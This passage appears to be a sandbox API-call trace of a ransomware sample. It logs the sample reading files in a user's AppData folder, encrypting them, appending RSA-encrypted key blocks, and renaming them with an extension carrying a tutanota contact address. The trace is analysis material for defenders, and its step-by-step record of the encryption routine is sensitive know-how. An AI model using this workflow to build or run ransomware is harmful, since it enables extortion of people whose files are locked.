Flags=0x0, Size=0xb0) returned 0x58e0b8 [0155.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0155.254] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\TEE3YHnKdV7Vhk.pdf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\tee3yhnkdv7vhk.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.254] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=83073) returned 1 [0155.254] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14481) returned 0x2e61f30 [0155.255] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14481) returned 0x2e763c0 [0155.255] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x14481, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x14481, lpOverlapped=0x0) returned 1 [0155.257] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-83073, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.257] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e763c0*, nNumberOfBytesToWrite=0x14481, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e763c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14481, lpOverlapped=0x0) returned 1 [0155.257] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.257] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e763c0 | out: hHeap=0x570000) returned 1 [0155.257] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x14481 [0155.258] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.258] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.258] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.258] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.258] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.258] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.258] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Q/xSN8WQcjJZD1i7ok1bZwq9RBmOO/ZVi+HnuoqVAXJW5rh5yWZZ09+meFKkMsO5\nYfIeTs57baZ46+N7sachw06xcR50Kw6HWCuDA9/+dVhBFz4F28O4kmxriNYer9Yp\npuyWeyOapACBuoRZGwRyGVcLqOGQvxAnTHX/6uIU73pLrx4nHkyX4SINRn9sFiXJ\nRAc04HXax3R1PKRRW2QzL2BdFnOBQy769uOexDxhlku06Hlx0D4Dhy7t+uoKVKTu\nC98ntvpWPnbwAGuUcBjuuF/puHh07+/bIXmGMDDTaHdLwWOQsrNk0MPCj346x+37\nER4SrzmXNafkjk2Sb7dTpA==\n", pcchString=0x2e3f9a8) returned 1 [0155.258] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.258] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.258] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.258] CloseHandle (hObject=0x6a8) returned 1 [0155.259] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.259] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\TEE3YHnKdV7Vhk.pdf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\tee3yhnkdv7vhk.pdf"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\TEE3YHnKdV7Vhk.pdf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\tee3yhnkdv7vhk.pdf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.260] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0155.260] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11a8 | out: hHeap=0x570000) returned 1 [0155.260] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0155.260] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0155.260] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0155.260] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.260] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.260] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\SNDUoBILSaAUYavUVF_.mkv", dwFileAttributes=0x80) returned 1 [0155.260] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0155.260] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0155.260] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0155.260] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\SNDUoBILSaAUYavUVF_.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\snduobilsaauyavuvf_.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.261] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=94057) returned 1 [0155.261] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16f69) returned 0x2e61f30 [0155.261] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16f69) returned 0x2e78ea8 [0155.261] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x16f69, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x16f69, lpOverlapped=0x0) returned 1 [0155.263] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-94057, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.263] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e78ea8*, nNumberOfBytesToWrite=0x16f69, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e78ea8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x16f69, lpOverlapped=0x0) returned 1 [0155.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.264] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e78ea8 | out: hHeap=0x570000) returned 1 [0155.264] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x16f69 [0155.264] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.264] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.264] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.264] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.265] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.265] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="d32Cd8EF7PAcSakAnExv8GEnemZ5bw4ZV57rhTvwAND+zjpC86DKLkK8fqmDtvK9\nZCdyw5JPwtmxgPcbeJv6WB9f+bnDXbnKXdLIsbQuxTplY/wKpy1qTLvuWIFypx+o\nL4C5gbz2M22+AmJBIU0MVCE8Akxxz2SSC7vuHt3sQWQJJWJeYDgEgUCcw1Qgvw3g\nf6oHIOrHdcUU8z3rxAtNE7GAwMY3IbSF4HtD+3W2MBJruZUAfgH69DbBCdTL0sxf\nFqnKjb02sHpVFuMQEcUrI0wfaCyw7tHjgN0i5yn4YWP0m3HyLju8YwL9upIP4YF4\niMRo6dk+/xP80pmec/DynQ==\n", pcchString=0x2e3f9a8) returned 1 [0155.265] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.265] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.265] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.265] CloseHandle (hObject=0x6a8) returned 1 [0155.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.265] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\SNDUoBILSaAUYavUVF_.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\snduobilsaauyavuvf_.mkv"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\SNDUoBILSaAUYavUVF_.mkv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\snduobilsaauyavuvf_.mkv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.267] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0155.267] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.267] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0155.267] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0155.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0155.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.267] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.267] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\SmmBWCLZVanpZAwYueZ.avi", dwFileAttributes=0x80) returned 1 [0155.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0155.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0155.267] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0155.267] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\SmmBWCLZVanpZAwYueZ.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\smmbwclzvanpzawyuez.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.268] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=63939) returned 1 [0155.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf9c3) returned 0x6538b0 [0155.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf9c3) returned 0x2e61f30 [0155.268] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xf9c3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xf9c3, lpOverlapped=0x0) returned 1 [0155.270] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-63939, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.270] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e61f30*, nNumberOfBytesToWrite=0xf9c3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf9c3, lpOverlapped=0x0) returned 1 [0155.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.270] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf9c3 [0155.270] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.271] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.271] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.271] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.271] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.271] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.271] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="QU+Vm54IQTTEvfHhkUkPIiQb3cdaeUXEvGBfoOH6ETb7oAeUqs2YY0f/FTmTzs4t\n7JBaWtjYfXeLG/Vw+yuqXu4yA3bcIFH22vwrWoIx236NOZgHL1AnrDh8mCspCiN+\nUCQ5wsmKJ1i8CipUHcrt+Rzq/lvDyRAOFXjqxRfkqo1qWQ7FuR1Nh1t5+jnodMUJ\ncIooPA3X+hALTtGXavvzBC3VI4RTHK0RSLaNPUd+H2vxAwWABvdjIhpqbBYjvVqf\nyXAMctjJ52FqDapJ9xisE+9DXEI78knHM04KRoIxDzxr50r+MW2TAVDKq8v/r2/o\nICLIPIapXCLdmuf+Hbgtrg==\n", pcchString=0x2e3f9a8) returned 1 [0155.271] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.271] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.271] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.271] CloseHandle (hObject=0x6a8) returned 1 [0155.271] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.271] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\SmmBWCLZVanpZAwYueZ.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\smmbwclzvanpzawyuez.avi"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\SmmBWCLZVanpZAwYueZ.avi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\smmbwclzvanpzawyuez.avi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0155.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0155.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd9e8 | out: hHeap=0x570000) returned 1 [0155.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0155.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.273] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.273] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\scl0E03IE5Rcs.mp4", dwFileAttributes=0x80) returned 1 [0155.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0155.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e2e0 [0155.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0155.273] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\scl0E03IE5Rcs.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\scl0e03ie5rcs.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.273] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=11098) returned 1 [0155.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2b5a) returned 0x6538b0 [0155.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2b5a) returned 0x656418 [0155.274] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2b5a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2b5a, lpOverlapped=0x0) returned 1 [0155.274] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-11098, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.274] WriteFile (in: hFile=0x6a8, lpBuffer=0x656418*, nNumberOfBytesToWrite=0x2b5a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x656418*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2b5a, lpOverlapped=0x0) returned 1 [0155.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656418 | out: hHeap=0x570000) returned 1 [0155.274] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2b5a [0155.275] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.275] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.275] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.275] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.275] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.275] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="CrXGsC/WVQezBmZWfeGvOGLh1+QqEu8/nKSxhkVVkn4TOQ7UABHf1OaWIqM+Z84Q\nbnR646oa72DFI/kfUVqvRCgiSuvxY5zlQ2LREBxUlw/aGIuTrujcYODKnROmdgqW\nEMmHV1ZuxTFbG2Ym7pwj2rUgCi6JrfaW9glOUDe8nvObd45GFhPDJcR42X4IBwp9\nMupXAfnGdoVSiWPSBoc88R9sqdl2Me7GiQ2mAyznLlKg6dyZkTKenzwUO/r1d5wX\nVM6CxR6OZgsR/vYEKWbpt7KIgtLGUB4Z9TQVsRIdnkzEv7B0VJFPKINLsa7A/lBc\nnWCD+JpP0s7CF2VRSiUmnQ==\n", pcchString=0x2e3f9a8) returned 1 [0155.275] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.275] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.275] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.275] CloseHandle (hObject=0x6a8) returned 1 [0155.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.275] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\scl0E03IE5Rcs.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\scl0e03ie5rcs.mp4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\scl0E03IE5Rcs.mp4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\scl0e03ie5rcs.mp4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2e0 | out: hHeap=0x570000) returned 1 [0155.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0155.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0155.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6778 [0155.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.277] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.277] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\R E5gtd14baa.mkv", dwFileAttributes=0x80) returned 1 [0155.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0155.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e398 [0155.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0155.277] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\R E5gtd14baa.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\r e5gtd14baa.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.279] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=81805) returned 1 [0155.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13f8d) returned 0x2e61f30 [0155.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13f8d) returned 0x2e75ec8 [0155.279] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x13f8d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x13f8d, lpOverlapped=0x0) returned 1 [0155.282] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-81805, 